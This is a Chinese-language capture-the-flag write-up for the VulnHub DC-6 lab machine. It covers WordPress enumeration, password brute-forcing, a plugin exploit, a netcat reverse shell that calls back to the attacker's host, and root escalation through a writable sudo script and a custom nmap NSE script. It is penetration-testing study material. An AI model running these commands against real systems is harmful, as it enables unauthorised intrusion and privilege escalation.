VulnHub DC-6 靶机渗透测试笔记
靶机信息
- 靶机名称:DC-6
- 靶机来源:VulnHub
- 目标:获取 root 权限,找到最终 flag
- 难度:⭐⭐⭐☆☆(中等)
- 涉及技术:信息收集、WordPress 插件漏洞、命令执行、SSH登录、sudo 提权、nmap 脚本提权
- www.cnblogs.com/wrold/p/196…
一、信息收集
1.1 主机发现
目标 IP:192.168.168.169
1.2 端口与服务扫描
nmap -A -p- 192.168.168.169
1.3 配置域名解析
访问 192.168.168.169 时自动跳转到了域名,导致打不开:
需要修改 hosts 文件配置域名解析。
Windows 修改 hosts:
C:\Windows\System32\drivers\etc\hosts
添加:192.168.168.169 wordy
Kali 修改 hosts:
echo "192.168.168.169 wordy" >> /etc/hosts
二、WordPress 信息收集
CMS 是 WordPress:
提示这个漏洞肯定和插件有关。
2.1 WPScan 扫描
wpscan --url http://wordy/
http://wordy/wp-content/uploads/ 没用
2.2 目录扫描
dirsearch -u http://wordy
找到后台登录地址:http://wordy/wp-login.php
2.3 枚举用户名
wpscan --url http://wordy/ -e u
创建用户名字典:
echo -e "admin\njens\ngraham\nmark\nsarah" > users.txt
三、密码爆破
尝试用 cewl 生成专属字典爆破:
cewl -w passwords.txt http://wordy/
wpscan --url http://wordy/ -U users.txt -P passwords.txt
但是没成功,换个字典。
看了下别人的 wp,mark 的密码是
helpdesk01,在 rockyou.txt 字典的七百多万行,额,太久了,直接登录吧。
登录成功:
四、插件漏洞利用
4.1 扫描插件漏洞
wpscan --url http://wordy/ -e ap --plugins-detection aggressive
WPScan 插件扫描深度对比:
| 指令 | 扫描深度 | 效果 |
|---|---|---|
| wpscan --url http://wordy/ | 被动(Passive) | 只看 HTML 源码,只能发现 2-3 个最明显的插件 |
| wpscan --url ... -e vp | 仅漏洞(Vulnerable) | 只查找已知有漏洞的插件 |
| wpscan --url ... -e ap | 全部(All) | 扫描几百个常用插件的路径 |
| ... --plugins-detection aggressive | 激进(Aggressive) | 暴力猜测数千个插件路径 |
4.2 搜索插件漏洞 exp
searchsploit plainview activity
快捷复制 exp 文件:
searchsploit -m 45274
4.3 利用漏洞
python -m http.server 5566
# 浏览器访问 http://192.168.168.128:5566/45274.html
失败了换成下面那个运行 python 文件:
成功取得 Web 权限,查看当前权限:
五、反弹 Shell
# 靶机执行
nc 192.168.168.128 5566 -e /bin/sh
# Kali 监听
nc -lvnp 5566
升级为交互式终端:
python -c 'import pty;pty.spawn("/bin/bash")'
查看系统用户:
cat /etc/passwd
六、横向移动
6.1 找到 graham 的密码
在 mark 的目录下找到 graham 的密码:GSo7isUM1D4
6.2 SSH 登录
因为之前的链接总是断,换成 SSH:
ssh graham@192.168.168.169
七、提权
7.1 发现 backups.sh
在 jens 目录下找到一个 sh 文件:
查看 sudo 权限:
sudo -l
ls -l backups.sh
graham 没权限运行:
jens 可以无密码运行:
(jens) NOPASSWD: /home/jens/backups.sh
这行的意思是: 系统允许用户 graham 使用 sudo 命令,伪装成 jens 用户来执行这个指定的脚本,而且不需要输入密码。
但是执行完了后还是 graham 用户,因为 jens 权限没留下,而 graham 又有写入权限,那么写入 sh,以 jens 用户执行时就会弹出 jens 的权限:
echo "/bin/bash" >> backups.sh
sudo -u jens ./backups.sh
sudo -l
7.2 nmap 脚本提权
查看 GTFOBins:https://gtfobins.org/gtfobins/nmap/
不过这网站上记录的是老版本的,用不了,需要换种方式。
使用 nmap 的 --script 参数执行自定义脚本:
echo 'os.execute("/bin/sh")' > /tmp/shell.nse
sudo nmap --script=/tmp/shell.nse
出了点问题,不过很好解决:
虽然不显示,但仍然有效(复制粘贴就行),或者用
python -c 'import pty;pty.spawn("/bin/bash")'也可以,也有可能是我的 xshell 的原因。
7.3 获取 flag
成功提权到 root,取得 flag:
八、渗透流程总结
信息收集(nmap)
↓
发现 WordPress → 修改 hosts 配置域名解析
↓
WPScan 枚举用户 → 密码爆破 → mark/helpdesk01 登录后台
↓
扫描插件漏洞(plainview activity)→ searchsploit 找到 exp
↓
利用插件漏洞 → 获取 www-data shell
↓
mark 目录发现 graham 密码 → SSH 登录
↓
sudo 伪装 jens 执行 backups.sh → 获取 jens 权限
↓
sudo nmap --script 提权 → root → flag ✅
九、涉及工具汇总
| 工具 | 用途 |
|---|---|
| nmap | 端口扫描、服务识别 |
| WPScan | WordPress 专项扫描 |
| dirsearch | Web 目录扫描 |
| cewl | 网站内容生成字典 |
| searchsploit | 本地漏洞库搜索 |
| nc | 反弹 Shell |
| SSH | 稳定连接 |
| GTFOBins | sudo/SUID 提权查询 |
本文为 VulnHub DC-6 靶机学习笔记,所有操作均在本地搭建的靶场环境中完成,仅用于学习交流。